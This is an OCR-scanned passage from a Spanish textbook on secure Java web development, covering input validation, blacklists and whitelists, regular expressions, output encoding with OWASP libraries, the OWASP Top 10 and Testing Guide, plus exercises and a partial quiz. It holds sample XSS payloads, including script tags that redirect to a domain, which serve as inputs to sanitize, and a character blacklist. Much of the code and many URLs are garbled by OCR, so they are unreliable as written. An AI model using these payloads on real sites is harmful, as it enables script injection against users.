intentas iniciar sesion en nuevo dispositivo.

F WordPress: Utiliza Google Authenticator.

F DreamHost: Utiliza Google Authenticator,

2.7 DESARROLLO SEGURO EN JAVA

2.1.1 Validacion de parametros de entrada y salida de datos

La debilidad mds comin en la seguridad de aplicaciones web, es la falta de
una validacion adecuada de las entradas procedentes del cliente o del entorno de la
aplicacion. Esta debilidad conduce a casi todas las principales vulnerabilidades en
aplicaciones, como inyecciones sobre el intérprete, ataques locale/Unicode, sobre el
sistema de archivos y desbordamientos de bufer,

Gran parte de los ataques a los sistemas TIC actualmente se deben a fallos
o carencias en la validacion de los datos de entrada, el confiar en la fuente que las
origind hace a la aplicacion vulnerable a ataques originados en el cliente al modificar
los datos en el origen o durante su transmision. Los atacantes pueden manipular
diferentes tipos de datos de entrada con el propdsito de encontrar vias con seguridad
comprometida dentro de la aplicacion.
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Destacar gque a nivel de validacion de datos siempre se han de validar los
formularios en el servidor, aunque se use JavaScript para validarlos. La idea del
uso de JavaScript es liberar al servidor de cierta carga, va que en los casos en que la
validacion sea negativa liberards al servidor de dicha comprobacion. Pero siempre
ha de existir la validacion en el servidor, imagina que desactivas el JavaScript del
navegador, si no tienes validacion en el servidor te has quedado sin validacion y
expones la base de datos a datos del usuario sin comprobar,

Las diferentes fuentes de datos de entrada incluyen:

Parametros de linea de comandos
Variables de entorno

Referencias a nombres de archivo

Subida de archivos

Importaciones de archivos

Cabeceras HTTP

Pardmetros HT'TP (GET / POST)

Campos de formularios (especialmente los ocullos)
Las listas de seleccidn o listas desplegables
Cookies

Comunicaciones mediante Java applets

b B B B B B B B B B B |

La OWASP dispone de una serie de librerias que nos permile protegernos
frente ataques del tipo Cross Site Scripting{XS58).

OWASP Java Encoder es una hbreria enfocada a tratar la codificacion de los
pardmetros de entrada v las codificaciones de salida,

https Awwwowasp orgdindex php/OWASP _Java Encoder Project

En el Java SDK disponemos de la clase javanet URI que contiene métodos
para construir una URI partir de una cadena que se pasa por pardmetro.

También dispone de métodos como decirnos si la URL es absoluta o relativa,
ademds de otros que nos permiten normalizar una URI eliminando entrada del tipo
TR

Mis informacion sobre esta clase en la documentacion oficial de Oracle:
https:Adocs oracle.comavase/7idoes/apifavamet/URLhtm!

Por ¢jemplo, si gqueremos validar la entrada de una URL desde Java,
normalizando la entrada v validando si la URL es absoluta o relativa, podramos
hacerlo de esta forma:
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Ejecucion:

Host ; Wi, domain . com

http: / waw . domain, con/directorys/page. himl

Figura 2.7. Captura de pantalla. Ejecucion validatelRL

2.1.2 Listas negras
Una lista negra o Blacklist s un listado de valores no aceptables.

Esta técnica se basa en filtrar todas las entradas que se corresponden con un
patron conocido de atague o vulnerabilidad. De este modo, se suele tener una lista
de patrones que puede consistir en literales o en expresiones regulares reconocidas
como maliciosas, y cuando se detecta en cualguier entrada se realiza el filtrado.

En este punto podriamos implementar una funcién que a partir de una cadena
de entrada devuelva true o false dependiendo si la cadena contiene alghn caricter
contenido dentro del BLACKLIST.

private boolean isWalid{5tring userInput){
private static final String BLACKLIST ="%\\/;:<»";
if(StringUtils. containsAny(userInput, BLACKLIST)){

return false;

¥

return true;

1

2.1.3 Listas blancas

Una lista blanca o Whitelist ¢s un listado de valores vilidos v permitidos.

Este caso es el opuesto al anterior. Se dejan pasar las entradas que coinciden
con una lista blanca, ya sea una lista de literales, expresiones regulares, o requisitos
gque debe cumplir la entrada, como que la entrada tenga un nimero de caracteres
maximo o que esté compuesta Unicamente por caracteres numéricos,

Cuando es posible aplicar esta téenica, se comprueba que posiblemente es la
mis efectiva debido a que los desarrolladores Gnicamente permiten el tratamiento de
entradas que se sabe que no tiene ningln problema. Sin embargo, el problema estriba
en que debido a lo restrictivo de esta téenica hay muchas ocasiones en las que no se
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puede aplicar, como entradas de texto libre o nombres en log que haya que aceptar
comillas simples, por ejemplo, que son caracteres usados frecuentemente para
inyecciones SQL. De este modo, a pesar de ser una téenica efectiva, normalmente no
es aplicable o es de dificil configuracion debido a la complejidad de encontrar listas
blancas adecuadas para toda la casuistica de entrada.

En este punto podriamos implementar una funcidén que valide una IP que
se pasa como pardmetro v devuelva true s1 la entrada coincide con el valor de la
expresion regular definida como WHITELIST.

private boolean isWalidIP({%tring wuserlnput}){
private static final String WHITELIST ="~{(25[@8-5]|2[e-4][e-9]|1[@-9][@-9]|[1-9
[e-91118-81)h\.}{3}(2:25[@-5]|2[e-4]1[0-9]|1[e-9][e-9]|[1-2]1[e-912][8-91)8";
if(stringUtils.matches{userinput, WHITELIST) }{

return true;

¥

return false;

1

Desde el punto de vista de segpuridad, siempre es mejor utilizar listas
blancas. Si utilizdramos una lista negra, deberiamos de introducir en esta lista todos
los wvalores no aceptables, gque podrian ser innumerables. Sin embargo, siempre
sabemos qué valores son aceptables v podemos enumerarlos rapidamente sin tener
que complementar el listado en el futuro. Por ejemplo, si sabemos que nuestra
variable debe de tener un identificador numérico, una lista blanca incluiria tan solo
valores enteros, mientras que una lista negra tendrd que incluir todo lo que no sea un
valor entero (gj.: letras, caracteres especiales, espacios, etc.).

2.1.4 Expresiones regulares

Las expresiones regulares son muy itiles para validar la entrada del
usuario en una aplicacion. Y permiten comprobar si una cadena sigue o no un
patrén preestablecido. Se emplean como mecanismo para describir esos patrones
y se construven de una forma relativamente sencilla. Existen muchas librerias
diferentes para trabajar con expresiones regulares, y casi todas siguen, mds o menos,
una sintaxis similar, con ligeras variaciones. Dicha sintaxis nos permite indicar
el patron de forma cdmoda, como si de una cadena de texto se tratase, en la gue
determinados simbolos tienen un significado especial.

Siqueremos construir una expresiom regular capaz de verificar si una cadena
contiene un DNI o NIE lo podriamos hacer de la siguiente forma:"[XYxy]?[0-9]
{19} A-ZLa-z]".
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Para tratar con expresiones regular en Java, el SDK ofrece las clases Pattern
v Matcher contenidas en el paquete java.util.regex.®, La clase Pattern se utiliza
para procesar la expresién regular v compilarla, lo cual significa verificar que es
correcta y dejarla lista para su utilizacidon. La clase Matcher sirve para comprobar 31
una cadena cualquiera sigue o no un patrdn.

Pattern p=Fattern.compile{”[81]+"});

Matcher m=p.matcher(“g8aa1a1e™);

if (m.matches()) System.out.println(™5i, contiene el patrdn™);
else System.out.println{™MNo, no contiene el patrdén®);

El método estatico compile de la clase Pattern permite crear un patron, dicho
método compila la expresion regular pasada por parimetro v genera una instancia
de Pattern. El patron podrd ser usado maltiples veces para verificar si una cadena
coincide o no con el patrén, Dicha comprobacion se hace invocando el método
matcher, ¢l cual combina el patron con la cadena de entrada v genera una instancia
de la clase Matcher. La elase Matcher contiene el resultado de la comprobacion y
ofrece varios métodos para analizar la forma en la que la cadena hace el matching
con un patron:

F Matcher.matches(): Devolvera true si la cadena encaja con el patrdn o
false en caso contrario.

F MatcherlookingAt(): Devolverd true si el patrdn se ha encontrado al
principio de la cadena. A diferencia del método matches(), la cadena
podrd contener al final caracteres adicionales a los indicados por el
patron, sin que ello suponga un problema.

F Matcherfind(): Devolverd true si el patron existe en algin lugar la
cadena (no necesariamente toda la cadena debe coincidir con el patron) y
false en caso contrario, pudiendo tener mis de una coincidencia.

En este ejemplo se muestra como validar una IPv4 con expresiones regulares:

RegularExpressions.java
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import jawa.lang.*;
import java.io.®;
import java.net.*;

import java.util.regex.Matcher;
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import java.util.regex.Pattern;
class IPAddressValidator{
private Pattern pattern;
private Matcher matcher;
private static final String IPADDRESS_PATTERN =
Taflel] P\ Nd\Nd? | 2[B-a]\d] 25 [8-5] 105" +
Trpel] i hd? | 2[e-4]00d | 25[8-5] 3802 +
Trrellddihd? | 2[@-a]Nd | 25[8-5])0 " +
mrpedlddihd? | 2[e-4]0\\d | 25[8-5])%";
public IPAddressWalidator(){
pattern = Pattern.compile(IPADDRESS_PATTERMN);

}

Fat
* Validate ip address with regular expression
oy
public boolean validate(final String ip){

matcher = pattern.matcher(ip);

System.out.println{™IP 4+ ip + -=¥ " 4+ matcher.matches(});

return matcher.matches();
}
}

public class RegularExpressions extends Object {
public static woid main{5tring[] args) {

IPAddressvalidator ipAddressvalidator=new IPAddressValidator();
ipAddressWalidator.validate(™255. 255,255, 255");
ipAddressWalidator.validate("127.8.8.1");
ipAddressWalidator.validate(™255.255.255.%);
ipAddressvalidator.validate(™127.8.8.a");

et

Ejecucion:

Figura 2.8. Captura de pantalla. Ejecucion RegularExpressions
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Ventajas del uso de expresiones regulares

Las expresiones regulares impiden que los usuarios que estdn tratando de
gjecutar mnstrucciones maliciosas en clertos campos de entrada para llevar a cabo
alagques X558 o de inyeccion SQL.

Por ejemplo, st un  usvario aflade en una entrada la  cadena
“<geript=alert(* X557 y=/script=" en el campo nombre de usuario de una aplicacion
y no hay ninguna validacion, entonces la entrada seria procesada como HTML
v el codigo seria ¢jecutado . Sin embargo, si el campo de nombre de usuario se
validd con la ayuda de una expresion regular del estilo [a-zA-Z0-9] {4,201, que
comprueba el patrdon que contiene letras o ndmeros en mavusculas o mindsculas, con
un tamano minimo de 4 caracleres y una longitud méxima de 20 caracleres, entonces
la aplicacion obligaria al usuario a completar el campo con la entrada adecuada.

2.1.5 Filtros

Cuando se desarrolla desde cero es recomendable establecer una serie de
filtros para los valores de entrada, para de esta forma limitar lo que el usuario pueda
introducir a nivel de etiquetas HTML. Podemos implementar un sistema de filtrado
sencillo en funcidn de las necesidades que tengamos:

¥ Todo lo que introduce el usuario ha de ser filtrado. No permitimos ningln
caricter extrafio.

¥ Debemos permitir al usuario gue introduzca valores HTML simples
como: negrita, cursiva, salto de linea.

F Debemos permitir al usuario que introduzea valores HTML que aceptan
enlaces.

Como regla general a aplicar deberfamos de seguir la politica: denegar todo
y permitir solamente aquellos casos concretos que necesitemos.

Caso 1: Filtrando todo el contenido de salida

Siempre que necesilemos mostrar en el navegador informacién no estdtica,
variables o informacion que provenga de una base de datos, debemos de filtrarla. Para
ello solamente tendremos que sustituir los caractleres considerados como peligrosos
por sus equivalentes HTML:
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& — &amp;
<—s &l

= — &ept;
“— Srquot;
e Ke#x27:
/— &#x2F;

En Java podriamos hacerlo de esta forma:

String filtered_var = wvar.replacefll(™&","&amp;"). replaceAll (<", "E1t;").
replaceAll{"»*, "&gt;"}.replaceAll (""", "Equot ;") .replaceAd] (™" ", "E#x2T ;7).
replacedl (" /", “&H#x2F;™);

En este punto la OWASP dispone del provecto OWASP HTML Sanitizer
que proporciona una forma rapida y facil de configurar los filtros HTML a la vez que
nos protege contra ataques XS5,

https www.owasp.org/index.php/OWASP _Java HTML Sanitizer Project
El codigo del proyecto se puede esta disponible en github:
https Aeithub.com/OWASPfava-htmi-sanitizer

Por ejemplo, si queremos filtrar enlaces que se introducen por pardmetros o en
un campo de texto, podemos hacerlo usando las elases Sanitizers ¥ PolicyFactory:

PolicyFactory policy = Sanitizers.FORMATTING.and({Sanitizers.LINKS);
String safeHTML = policy.sanitize{untrustedHTML);

En el repositorio de github se pueden encontrar mis ejemplos:

hittps/github com/QWASP/java-html-sanitizer/tree/master/sre/main/java/
org/owasp/hitmiiexamples

Por ejemplo, si recibimos como entrada un HTML que contiene javascripl o
datos no confiables podemos aplicar el método sanitize para filtrar esta informacion.

PolicyFactory policy = Sanitizers.FORMATTING.and({Sanitizers.LINKS);
S5tring safeHTML = policy.sanitize("<scriptzalert{ click’ )</scripts«<a
href="javascript:someFunction( “UNTRUSTED DATA®)'»clickme<fa>™]);

También es posible declararlos nuestras propias politicas donde definimos
los elementos que estin permitidos.

PolicyFactory policy = new HitmlPolicyBuilderd{)
.allowElements{®“a™}
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.3llowlrlProtocols{"https™)
.allowhttributes (“href"}.onElements{"a")
.requirefeliofollowdnlinks{)
build(};
S5tring safeHTML = policy.sanitize{untrustedHTML);

URLEncoder/URLDecoder

En ¢l SDK de Java disponemos de las clases URLEncoder ¥y URLDecoder
para codificar caracteres especiales en el formato application/x-www-form-
urlencoded MIME. La clase URLEncoder tiene un método lamado encodef) v la
clase URLDecoder tiene un método llamado decode() para este tipo de tareas.

En este gjemplo vemos como la URL con las eltiquetas <script= las transforma
en %3 Cseript%e3E.

import java.io.UnsupportedEncodingException;

import java.net.URLDecoder;

import java.net.URLEncoder;

public class TestEmcoderDecoder{

public static void main(string args[]) {
try {
S5tring wrl = "«<scriptrxlocation.href="http://domain/script.js’</script>*;
String encodedlrl = URLEmcoder.emncode{url; “UTF-8"};
System.out.println{”Encoded URL * + encodedUrl});
String decodedlrl = URLDecoder.decode{url; “UTF-8");
System.out.println{“Decoded URL * + decodedUrl);
} catch (UnsupportedEncodingException e) {
LSystem.err.printlnie);

cAtlan heefi
cation. hrefz "http

Figura 2.9. Captura de pantalla. Ejecucion TestEncoderDecoder
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Las reglas que sigue para codificar v decodificar son:

P Los caracteres alfanuméricos “a™ ala “2", “"A" a la“2" v “0™ a “9” siguen
siendo los mismos.

¥V Los caracteres especiales, .7 "7, “*" ¥ *_” giguen siendo los mismos.

[ELE)

¥ El signo mds “+" se convierte en un cardcter de espacio ",

F Todos los demds caracteres se convierten primero en una o mas bytes
utilizando un esquema de codificacion. A continuacion, cada byie
se representa por la 3-cadena de caracteres “% xy", donde XY es la
representacion hexadecimal de dos digitos del byte. El esquema de
codificacion se recomienda utilizar UTF-R.

Para mis informacion se puede consultar la documentacion oficial de ambas
clases:

httpsAdocs.oracle.comfavase/7/docs/apifavainet/URL Encoderhtml

https Adocs.oracle.com/favase/7/docs/apifavainet/URLDecoder hitml

String Escapelltils
La clase StringEscapeUltils pertenece al paquete apache.commons.lang

El método StringEscapeltils.escapeJava(String input) se puede utilizar
para inseriar caracteres de escape en una cadena pasada por pardmetro. Se toma la
cadena de escapar como pardmetro ¥ devuelve la cadena con caracteres de escape
insertados.

La clase JavaEscapeTest da un ejemplo de esto. Se lee en el archivo entrada.
txt como una cadena (usando FileUtils de los Comunes 10) v se escapa esta cadena
mediante ¢l método StringEscapeltils.escapelava (str)

JavaEscapeTest.java
import java.io.File;
import org.apache.commons.io.Fileltils;
import org.apache.commons. lang.StringEscapeltils;
public class JavaEscapeTest {

public static woid main{String[] args) throws Exception {
S5tring str = Filettils.readFileToString(new File(™input.txt™}};
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String results = StringEscapeltils.escapelava(str);
System.out.println{results);

¥
1

2.8 GUIA OWASP DE DESARROLLD SEGURD

Con el fin de agrupar v clasificar todo el conocimiento en relacion al

desarrollo seguro y seguridad en aplicaciones web, asi como de proveer tanto
documentacidn, como herramientas v metodologias libres v de codigo abierto nace
en 2004 un organismo sin dnimo de luero bajo el nombre de Open Web Application
Security Project{OWASP).

Entre los provectos mds conocidos de dicha organizaciém podemos destacar:

F OWASP Application Security Verification Standard (ASVS): proyecto

que trata de establecer una serie de comprobaciones a alto nivel con tal
de clasificar la aplicacidn bajo uno de los cuatro niveles de seguridad que
[ECONOCE.

F OWASP Enterprise Security API{ESAPI): libreria de programacion

disponible para varios lenguajes de programacion gue facilita a los
desarrolladores a programar aplicaciones mas seguras.

F OWASP Development guide: zuia con consejos v buenas pricticas

para garantizar el desarrollo seguro de aplicaciones. Estd disponible para
varios lenguajes de programacion.,

F OWASP Top 10: lista consensuada con la comunidad, actualizada

aproximadamente cada tres afios y que contiene las diez vulnerabilidades
mds criticas.

F OWASP Testing guide: esta guia ademdas de recopilar un conjunto

de técnicas para buscar las vulnerabilidades mdas comunes dentro de
aplicaciones web detalla una serie de procedimientos que se deberian
seguir en el proceso iterativo de desarrollo del software para garantizar
unos buenos estdndares de seguridad.

F OWASP Zed Attack Proxy(ZAP): aplicacidn que aporta funcionalidades

que permitaayudar en la identificacion de vulnerabilidades en aplicaciones
web, Algunas de estas funcionalidades son la captura v andlisis de trifico
HTTP y HTTPS, o el escaneo automitico de vulnerabilidades.
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ESAPI

hitps:www owasp.org/index php/Category: OWASP_Enterprise_Security
AP!

OWASP Enterprise Security AP1 es una libreria que implementa un conjunto
de controles de seguridad (coleccion de clases que encapsulan la mayoria de las
operaciones de seguridad requeridas por las aplicaciones), que protegerin de fallos
tanto en el disefio como en la implementacion.

En el caso de Java podemos acceder al codigo v a la documentaciéon de la
libreria en formato javadoc:

Cadigo en github: https:Yeithub.com/ESA Pl esapi-java-legacy

Documentacion  javadoc:  htip:Awww favadoc.io/doc/ore owasp.esapi/
esapi/2. 1.0

OWASP Top 10

OWASP Top 10 es una lista de las valnerabilidades més eriticas que se pueden
encontrar en aplicaciones web. Esta lista se actualiza v libera cada tres afios donde la
iltima version liberada es del afio 2013 e identifica las siguientes vulnerabilidades:

F Al Injection: vulnerabilidades en las que el atacante es capaz de
explotarlas mandando texto sin formato con tal de aprovecharse del
intérprete de datos. Estos ataques pueden venir tanto de fuentes externas
de datos, como podrian ser formularios en la aplicacion web, como de
fuentes internas como bases de datos.

¥ A2 Broken authentication and session management: ¢n este caso los
atacantes se aprovecharin de debilidades en el sistema de autenticacidn o
de control de sesiones para suplantar usuarios a través de la obtencion de
cuentas, contrasefias e identificadores de sesion.

F A3 Cross-site seripting (XS5): vulnerabilidades en las que el atacante
se aprovecha de los fallos de validacién de datos que la aplicacion realiza
permitiéndole ejecutar codigo malicioso en el navegador del usuario.

¥ A4 Insecure direct object references: vulnerabilidades en las que
los atacantes se aprovechan de la aplicacion alterando pardmetros que
referencian directamente a elementos del sistema o usuarios sobre los
cuales no tiene autorizacion.
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F A5 Security misconfiguration: vulnerabilidades que permiten al

atacante acceso a dreas restringidas debido a malas pricticas o fallos
durante la configuracion de la aplicaciom. Ejemplos de estos serfan:
usuarios ¥ contraseias por defecto, paginas en desuso o de administracion
accesibles, vulnerabilidades conocidas sin parchear, ficheros y directorios
sin proteger.

A6 Sensitive data exposure: vulnerabilidades en la que los atacantes
se pueden aprovechar de datos criticos gue han sido expuestos por una
mala gestion de estos. Por ejemplo, si se gquisiese atacar a los algoritmos
criptograficos no se haria directamente, sino gue se trataria de robar las
claves privadas o realizar ataques “man-in-the-middle™ para robar los
datos mieniras estos se encuentran en transito entre el navegador del
usuario y el servidor,

A7 Missing function level access control: vulnerabilidades donde el
atacante mediante la alteracion del valor de una URL o de un parametro
consigue gjecutar una funcidn sobre la cual no deberia tener privilegios.

AB Cross-site request forgery (CSRF): los atacantes gue traten de
aprovecharse de estas vulnerabilidades podrin engafiar al usuario legitimo
de la aplicacidn mediante el envio de una peticion conereta mediante un
link, una imagen, una vulnerabilidad de XS5 o cualquier otra técnica,
con tal de aprovecharse de los privilegios que dicho usuario posee en la
aplicacion, siempre ¥ cuando este esté autenticado.

A9 Using components with known vulnerabilities: si un componente
utilizado en la aplicacién tiene vulnerabilidades conocidas vy estas
podrian ser detectadas mediante un andlisis automatico se clasificardn en
esla calegoria.

AlD Unvalidated redirects and forwards: los atagues que se aprovechan
de las vulnerabilidades de esta categoria lo hacen mediante un link
legitimo de la aplicacion que una vez cargado les redirigird hacia otro
sitio sobre el cual el atacante puede tener control.

OWASP Testing guide

Giuia que identifica las principales dreas sobre las que se deberd trabajar con

tal de identificar potenciales fallos de seguridad que pudieran afectar a la aplicacidn.
Estas dreas se presentan de la siguiente manera:
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F Configuration Management Testing: las prucbas descritas en esta
categoria estan orientadas a identificar fallos en las politicas de gestion
de configuracion.

Muchas wveces los escaneos infraestructurales o perimetrales que
puedan ser llevados a cabo revelarin informacidn como puede ser,
métodos HTTP permitidos, funciones administrativas y configuraciones
infraestructurales.

¥ Authentication Testing: en esta drea se evaluardn todas las secciones de
la web que estén relacionadas con los procesos de autenticacidon como
puede ser el formulario de identificacion, si es posible enumerar usuarios
o 51 por ejemplo los mecanismos de caplcha funcionan adecuadamente.

F Session Management Testing: las técnicas descritas en esta seccidn se
focalizaran en evaluar los controles de seguridad para las sesiones que
se establecen para controlar las interacciones de un usuario concreto, se
mirard por ¢jemplo si substituyendo la sesion de un usuario por la de otro
se podrd suplantar su identidad o si por ejemplo estas se destruyen de
forma correcla.

¥ Authorization Testing: las prucbas englobadas en esta categoria
van dirigidas a evaluar si los controles de autorizacion funcionan
correctamente, por ello se mirard por ejemplo si los usuarios tienen
acceso Gnica y exclusivamente a los datos sobre los que estin autorizados
o 51 estos pudieran de alguna forma escalar privilegios.

¥ Business Logic Testing: los fallos de logica de negocio presentados en
esta categoria son quizd los mds dificiles de identificar, pues requieren un
profundo conocimiento de laaplicacion y si existen son exclusivos y Unicos
para cada aplicacion. Se tratard de buscar aquellas funcionalidades en las
cuales alterando el AQujo normal del aplicativo puedan ser aprovechadas
para beneficio de un posible atacante.

F Data Validation Testing: en esta categoria se recogen las pruebas que se
recomiendan hacer para evaluar si las funcionalidades que reciben datos,
va sean originarios del usuario, de otros servicios o de la base de datos,
validan estos de Forma correcta vy si los datos son limpiados de tal manera
que no puedan afectar a los intérpretes que los vayan a utilizar.

¥V Testing for Denial of Service: esta scccidon engloba las pruebas divigidas
a evaluar si la aplicacidn es resistente a ataques de denegacion de servicio.
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Ejemplos de prucbas asociadas: si la base de datos acepta caracteres
comodin como %’ que pudiera ralentizar a e incluso inhabilitar o si
es posible por ejemplo bloquear las cuentas de todos los usuarios del
sistema.

F Web Services Testing: las prucbas de esta categoria se centran en
evaluar lo que se conoce como ‘web services v que se pueden definir
como servicios mas o menos especificos a los cuales otras aplicaciones
hacen peticiones. Una prueba que se podria realizar es tratar de enumerar
todas las llamadas disponibles o ver si estas permiten acceso sin validar
si ¢l usuario estd autorizado a realizar dicha llamada.

¥ AJAX Testing: en esta seccion se detalla como se debe evaluar la
seguridad de las llamadas asineronas hechas con JavaSeript. Recoge una
serie de pruebas basadas en las secciones anteriores pero enfocadas a esta
tecnologia.

Guias de desarrollo seguro de OWASP

Este documento explica las vulnerabilidades web mds comunes v su
forma de evitarlas. Actualmente la versién publicada es del afio 2005, aunque la
informacion sigue siendo hoy dia perfectamente valida. La mayoria de los ejemplos
estan descritos en Java. Ademds de los temas conocidos como validacion de datos
de entrada, gestidén de sesiones, mecanismos de autenticacidn o autorizacidn, toca
temas como webservices, phising, o buenas pricticas en el manejo de errores.

hitps 2Awww.oowasp.orgdindex. php/Projects/OWASP_Development_ Guide/
Releases/Guide 2.0

En esta otra URL podemos encontrar una guia de buenas pricticas de
desarrollo seguro. La atencion se centra en los requisitos de codificacion segura, en
lugar de en las vulnerabilidades y exploits. Incluye una introduccidn a los principios
de seguridad en ingenieria del solftware y un glosario de términos.

https:Swwwowasp.orgfindex php/OWASP_Secure_Coding Practices_-_
Ciick Reference Guide
Guia de revision de codigo

Aplicable tanto para el personal dedicado a la fase de test de un proyecto,
como a los pentesters que realizan test de intrusidén de caja blanca con acceso al
cOdigo fuente. Se definen una serie de controles v muestra en qué hay que fijarse
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para detectar una posible vulnerabilidad. Ensefia tanto errores comunes como buenas
practicas.

https:/www.owasp.org/index. php/Category:OWASP Code Review
Project/es

Application Security Verification Standard

Son una serie de controles, que a modo de CheckList, puede sermos muy
atil usarlo en la fase de festing. Esta categorizado por el tipo de vulnerabilidades a
revisar vy ademds catalogados en tres niveles, dependiendo del nivel de exigencia
a cumplir. Un recurso inleresante tanto para el desarrollador como para el jefe del
proyecto.

https:www.oowasp.org/index php/Category: OWASP_Application
Security _Verification_Standard _Project
Librerias OWASP en el repositorio maven

La mayoria de las librerias comentadas se pueden bajar de las paginas que
he comentado. 5i queremos entrar en detalle en dichas librerias v ver las distintas
versiones y las clases que tenemos disponibles, podemos bajarmos el jar del repositorio
de maven. Podemos realizar una blsqueda en maven de las librerias owasp.

http:frvanrepository.com/search?g=owasp

Wy mosmory e
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0 P maianry LLE S
TAMAT deetaey
P st TN Raim—ry 12 warian
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A ey 13 wecme
R
The (VAL Baccsry cascvage by @ relniion of bigh mafermamns [ bl oo sisal s mormen, Hhad mhen @ iogd rary, ban by tmed b premseing Ak e ey
wmra b wark oy O Sl

Figura 2.10. Repositorio oficial de maven
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2.9 EJERCICIDS

l. Usando la libreria java-html-sanitizer para validar entradas en
HTML

Crear un projecto java y crear una clase para validar una entrada en
formato HI'ML.En el Java Build path del proyecto habri que afadir
las librerias en owasp-java-html-sanitizer.jar y guava.jar.

Revisar la documentacion que se encuentra en el repositorio de
github

https A github com/OWASPjava-html-sanitizer

ErF java-html-saniizer

e

{ | B8 (default package)

{1 E [ SantizeHTML java

| [ @ JRE System Library [JavaSE-1.7]
| @ Referenced Lbraries

D BB lib
: L guava.jar

L2 owasp-java-himl-sanitizer-r156.

m_ Java Build Path -
[+ RESDUNTE

|- Buiders ™ source | [ Projects ilﬁmrﬁ|%uﬂermﬁxpm|

- Java Buld Path 3R and dass fokders on the buld path:

* T e e E- 5 guavaJjar - java-hml-sanitizenio Add JARs... |
+ Java Compier o o =

o Jave Edior - u: owasp-java-himl-sanitizer-r156.jar - java-himl-sa I
; Fi-gh JRE System Lbrary [Javase-1.7]

Add External JARS...

Figura 2.11. Creacion del proyecto java-html-sanitizer

Estas librerias las podemos encontrar dentro del repositorio oficial de
maver.

hitp:-/mvarepositorv.com/artifact/com. googlecode. owasp=jfava-himi-
sanitizer/owasp-jfava-html-sanitizer

hitp:Amvarepository.com/artifact/com. google guava/guava
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SanitizeHTML.java

import java.io.IOException;
import org.owasp.hitml.HtmlPolicyBuilder;
import org.owasp.html.PolicyFactory;
public class SanitizeHTML {
public static wvoid run{Appendable out, String input) throws IOException {
PolicyFactory policyBuilder = new HtmlPolicyBuilder()
allowittributes(“src™).onElements(“img™]
.allowhttributes{“href").onElements (™ a™)
ff Allow some URLs through.
.allowStandardUrlfrotocols()
.allowElements(
TaYy Tiabel® Fha¥y fhat ThIe cRhaY CTRESThEY,
e, Y, ThRy Tud, Tsteonghy Tem; Tsmall®™; Thig®™, Tpre™, Tcode™,

ar. aa

Tcite™, “samp”,
Thrt; TheY, Mool TRont®y Mspan®;  Sdiv Timgy
SadYs el iEY I g o ey e hndy™ L SR Ehead® oAt
Ttable®, “td™, “th*, "tr*, "colgroup®”, “heldset”, "legend™
Y.-toFactory();
S5tring safeHTML = policyBuilder.sanitize(input});
out.append(safeHTHL) ;

Tsub™, “sup™, “strike", “center®, "blockguote™,

b
public static void main{String... argv) throws I0OException {

run(System.out, “www.domain.com/<script:alert( alert’}</script>index.html”);

Si ejecutamos la clase como aplicacidn java vemos que en la variable
safeHTML  obtenemos la  URL  (www.domain.com/index himl),
eliminando las etiquetas <script> ya que la etiqueta seript no aparece
entre las permitidas en la policy definida.

2. Implementar una clase en Java utilizando la libreria de expresiones
regulares para validar una direccion de email. Sustituir las xxx
por clases vy métodos propios del APl de expresiones regulares del
paguete java.util.regex.*

RegularExpressionsEmail.java
class EmailValidator{

private xxx pattern;
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== =

private xxx matcher;

private static final String EMAIL_PATTERN = “xxx™
public EmailValidator(){
pattern = Pattern.xxx({EMAIL_PATTERN);

}

J.lii
* Yalidate email address with regular expression
* [@param email email address for wvalidation
* @return true walid email address, false invalid email address
iy
public boolean walidate(final String email)}{
matcher = pattern.xxx{email);
System.out.println{™Email "+ email + “ --> ™ + matcher.xxx{});

return matcher.xus(]);

i

1

public class RegularExpressiconsEmail extends Object {
public static woid main{string[] args) {

EmailValidator emailValidator=new EmailValidator(};
emailvalidator.validate("user@domain.com™};
emailValidator.validate({“user@com™] ;
emailvalidator.validate(“my_email™};
emailvalidator.validate( user@™);
emailvalidator.validate("@domain®};

emailValidator.validate{™@"};

}

Ejecucion:

user@domain.com --> true
Ffalee
false
» Falee

Bdomain
@ --> false

Figura 2.12. Captura de pantalla. Ejecucion RegularExpressionsEmail



98 SEGURIDAD EN APLICACIONES WEB JAVA ) R -M

2.10 RESUMEN

Ademis de la serie de consideraciones a tener en cuenta durante el desarrollo
del software con tal de alcanzar unos buenos estindares de seguridad en las
aplicaciones weh, la guia de testing de la OWASP contiene un conjunto de téenicas
que trata de detallar como buscar ¢ identificar las diferentes vulnerabilidades que
podemos encontrar en aplicaciones web.

2.11 BIBLIOGRAFIA

F Fred Long; The CERT Oracle Secure Coding Standard for Java (SEI
Series in Software Engineering);2011; Addison-Wesley

2.12 AUTOEVALUACION UNIDAD 2

Selecciona la respuesta correcta

1. ;Cudl de las siguientes afirmaciones es cierlo acerca de OAuth?

a. QAuth funciona con fokens de autenticacion en lugar de credenciales
para acceder a los recursos,

b. OAuth funciona con las credenciales del usuario en lugar de tokens
para acceder a los recursos.

c. OAuth funciona con las cookies del usuario para acceder a los recursos.

d. OAuth funciona enviando de forma cilrada la password del usuario
para acceder a los recursos,

2. :Qué clases nos proporciona el SDK de Java para validar entradas de
texto mediante expresiones regulares?

Pattern ¥ Matcher dentro del paguete java.regex
Pattern ¥ Validate dentro del paguete java.util.repex
Pattern ¥ Matcher dentro del paquete javautil.regex
Matcher ¥ Validate dentro del paquete javautil.regex

(= - -

3. ;Qué clase v método podemos utilizar para comprobar si la cadena de
entrada encaja con ¢l patrén especificado?
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Matcher validate()
Pattern.validate()
Matchermatches()
Pattern.matches{)

. A0ué clase vy método podemos utilizar para crear un patrdn a partir de una

expresion regular que se pasa por parimetro?

Matcher.compile(PATRON EXPRESION REGULAR)
Pattern.validate(PATRON EXPRESION REGULAR)
Matchervalidate(PATRON _EXPRESION REGULAR)
Pattern.compile( PATRON EXPRESION REGULAR)

e o o

ciBQué clase ¥y método podemos utilizar dentro del paquete apache.

commons.lang insertar caracteres de escape en una cadena pasada por
parametro?

StringEscapeUtils filterJava(String input)
StringEscapeUtils.escapelava(String input)
StringEscape.escapelava{String input)
StringEscape. filter)ava(String input)

oo oD

. tCudl de las siguientes vulnerabilidades estd relacionada con que el

atacante se aprovecha de los fallos de validacion de datos que la aplicacion
realiza permitiéndole ejecutar codigo malicioso en el navegador del
usuario?

Cross-site request forgery (CSRF)
Injection

Cross-site scripting (X55)
Insecure direct object references

(=90 <~

. (Cudl de las siguientes vulnerabilidades estd relacionada con que el

atacante trata de engafiar al usuario enviando una peticidn concreta
mediante un link, una imagen, una vulnerabilidad de X585, con tal de
